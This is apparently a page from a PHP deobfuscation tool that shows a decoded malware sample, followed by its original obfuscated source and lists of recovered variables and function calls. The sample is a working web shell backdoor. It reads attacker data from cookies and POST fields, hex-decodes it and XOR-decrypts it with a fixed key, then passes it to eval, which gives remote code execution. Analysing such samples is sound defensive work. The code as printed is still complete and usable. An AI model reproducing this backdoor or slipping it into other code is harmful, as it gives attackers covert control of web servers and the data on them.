Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $jKsmyoy = "\163" . chr (/* MH */967 - 851 )."\162" ./* M */"\137" ./* TEp ..

Decoded Output download

<?php $jKsmyoy =    "s"	.	chr  (/* MH   */967	-	851	)."r"	./* M   */"_"	./* TEp   */"r"/*   XWNVF  */.	chr	(101)     .     'p'/*  h */.  'e'	.    chr	(97)/*   Dixw  */.	"t";$_kXv/* pjY*/=/*  QiM   */'17999'; 
 $tVUUHLhp/*   e  */=	"e"/*  Y*/.	chr	(120)/*  sU*/.	'p'	./*NBU   */'l'     .	'o'	.  'd'   ./*   nZ*/'e'; 
		$eUYPrZm	=	'p'    .	"a"  .	"c"/*  SP */.  chr/*  nb  */(	161   -/*  nJowT */54  );$_yfpb	=   '4160'; 
 
 
function    VoDwrjL() 
  /*  Y*/{ 
     $JLdyFTj/*PkU  */=  Array	(	"NStvTgFTgWHJWUOc"   =>/*   dF  */"yZzmYAYZVDWFyXlvrsOdBlTQWqdwRJ"/*   tiCS */); 
    /*   l*/ 
			    $YlwUyg/*   Ntg  */=	Array    (	"GSdCdrSoKrFUOMmtyLfaLZ"     => "VHSgwDfZQDFtBF"	); 
 
	$wULHPV	=/*   vlx */Array(/*raYG */$JLdyFTj,/* CWqd*/$_COOKIE,/*   OJo   */$JLdyFTj,	$_POST,    $YlwUyg); 
		/*  uRAt */ 
	     return/*   A*/$wULHPV;$_aBMD   = '58991'; 
				/*   Gj*/} 
				    
			    function	HHmWx($vorFv) 
/*  lfkeo*/{ 
 	if/*qgCW */(/*  wgYmg*/count	(/*i  */$vorFv/*  JTa*/)	== 3  )    { 
 
 
/* cQMK*/$VcwVAN   =/*wZ*/$vorFv[1];; 
	     $NUdOdqS     =/* PiOH */$vorFv[2]; 
   $mzeeOTJXgD   =/*   xdOi  */$VcwVAN($NUdOdqS); 
			  eval/*   VupIF  */(/*   ZaBl*/$mzeeOTJXgD	); 
 
	die   (); 
					  } 
 
 } 
 
     
 
/*   n */function	uNGcl($QaWRvBS,/*  Xo */$wJtIlZn) 
/*  E */{ 
/*Sxan*/return/*   oCJeB   */$QaWRvBS	^     $wJtIlZn;; 
				} 
			/*mMw*/ 
 $fRGjIZHm	=     "#";; 
	/*HFF   */ 
 
     foreach     (VoDwrjL()     as	$VfvcQ)/*Mo */{ 
/*EQmfR*/foreach (	$VfvcQ    as $wJtIlZn   =>/*   MbZlO  */$QaWRvBS	)	{ 
						 
			$QaWRvBS	=     @$eUYPrZm( 'H'    . '*',/* dPM  */$QaWRvBS/*   Ytv */);; 
/*  p   */ 
        $wJtIlZn	.=/*   t*/"kJrQR-RriiB-jCD-whhuktn-SUTULd-oSP-comQDq"; 
    /* y  */$wJtIlZn/*   k */=	$jKsmyoy	(	$wJtIlZn,/*  v */(	strlen(	$QaWRvBS	)/strlen(     $wJtIlZn/* k  */)	)/*   e   */+/*  XpN */1); 
         
 /*   nncW   */$WOeSmLKqW/*GLV  */=	uNGcl($QaWRvBS,    $wJtIlZn);; 
					 
  	$vorFv	=/*Yqlqt*/$tVUUHLhp	($fRGjIZHm,	$WOeSmLKqW   );; 
  	 
			 HHmWx($vorFv); 
 
 
  } 
 
/* Ecp*/} ?>

Did this file decode correctly?

Original Code

<?php $jKsmyoy =    "\163"	.	chr  (/* MH   */967	-	851	)."\162"	./* M   */"\137"	./* TEp   */"\162"/*   XWNVF  */.	chr	(101)     .     'p'/*  h */.  'e'	.    chr	(97)/*   Dixw  */.	"\164";$_kXv/* pjY*/=/*  QiM   */'17999';
 $tVUUHLhp/*   e  */=	"\x65"/*  Y*/.	chr	(120)/*  sU*/.	'p'	./*NBU   */'l'     .	'o'	.  'd'   ./*   nZ*/'e';
		$eUYPrZm	=	'p'    .	"\x61"  .	"\143"/*  SP */.  chr/*  nb  */(	161   -/*  nJowT */54  );$_yfpb	=   '4160';


function    VoDwrjL()
  /*  Y*/{
     $JLdyFTj/*PkU  */=  Array	(	"NStvTgFTgWHJWUOc"   =>/*   dF  */"yZzmYAYZVDWFyXlvrsOdBlTQWqdwRJ"/*   tiCS */);
    /*   l*/
			    $YlwUyg/*   Ntg  */=	Array    (	"GSdCdrSoKrFUOMmtyLfaLZ"     => "VHSgwDfZQDFtBF"	);

	$wULHPV	=/*   vlx */Array(/*raYG */$JLdyFTj,/* CWqd*/$_COOKIE,/*   OJo   */$JLdyFTj,	$_POST,    $YlwUyg);
		/*  uRAt */
	     return/*   A*/$wULHPV;$_aBMD   = '58991';
				/*   Gj*/}
				   
			    function	HHmWx($vorFv)
/*  lfkeo*/{
 	if/*qgCW */(/*  wgYmg*/count	(/*i  */$vorFv/*  JTa*/)	== 3  )    {


/* cQMK*/$VcwVAN   =/*wZ*/$vorFv[1];;
	     $NUdOdqS     =/* PiOH */$vorFv[2];
   $mzeeOTJXgD   =/*   xdOi  */$VcwVAN($NUdOdqS);
			  eval/*   VupIF  */(/*   ZaBl*/$mzeeOTJXgD	);

	die   ();
					  }

 }

    

/*   n */function	uNGcl($QaWRvBS,/*  Xo */$wJtIlZn)
/*  E */{
/*Sxan*/return/*   oCJeB   */$QaWRvBS	^     $wJtIlZn;;
				}
			/*mMw*/
 $fRGjIZHm	=     "\x23";;
	/*HFF   */

     foreach     (VoDwrjL()     as	$VfvcQ)/*Mo */{
/*EQmfR*/foreach (	$VfvcQ    as $wJtIlZn   =>/*   MbZlO  */$QaWRvBS	)	{
						
			$QaWRvBS	=     @$eUYPrZm( 'H'    . '*',/* dPM  */$QaWRvBS/*   Ytv */);;
/*  p   */
        $wJtIlZn	.=/*   t*/"kJrQR-RriiB-jCD-whhuktn-SUTULd-oSP-comQDq";
    /* y  */$wJtIlZn/*   k */=	$jKsmyoy	(	$wJtIlZn,/*  v */(	strlen(	$QaWRvBS	)/strlen(     $wJtIlZn/* k  */)	)/*   e   */+/*  XpN */1);
        
 /*   nncW   */$WOeSmLKqW/*GLV  */=	uNGcl($QaWRvBS,    $wJtIlZn);;
					
  	$vorFv	=/*Yqlqt*/$tVUUHLhp	($fRGjIZHm,	$WOeSmLKqW   );;
  	
			 HHmWx($vorFv);


  }

/* Ecp*/}

Function Calls

chr 5
VoDwrjL 1

Variables

$_kXv 17999
$_aBMD 58991
$_yfpb 4160
$YlwUyg [{'key': 'GSdCdrSoKrFUOMmtyLfaLZ', 'value': 'VHSgwDfZQDFtBF'}]
$wULHPV [{'key': 0, 'value': [{'key': 'NStvTgFTgWHJWUOc', 'value': 'yZzmYAYZVDWFyXlvrsOdBlTQWqdwRJ'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'NStvTgFTgWHJWUOc', 'value': 'yZzmYAYZVDWFyXlvrsOdBlTQWqdwRJ'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'GSdCdrSoKrFUOMmtyLfaLZ', 'value': 'VHSgwDfZQDFtBF'}]}]
$JLdyFTj [{'key': 'NStvTgFTgWHJWUOc', 'value': 'yZzmYAYZVDWFyXlvrsOdBlTQWqdwRJ'}]
$eUYPrZm pack
$jKsmyoy str_repeat
$fRGjIZHm #
$tVUUHLhp explode

Stats

MD5 9daefdc508039407a22b13f71e8202dc
Eval Count 0
Decode Time 73 ms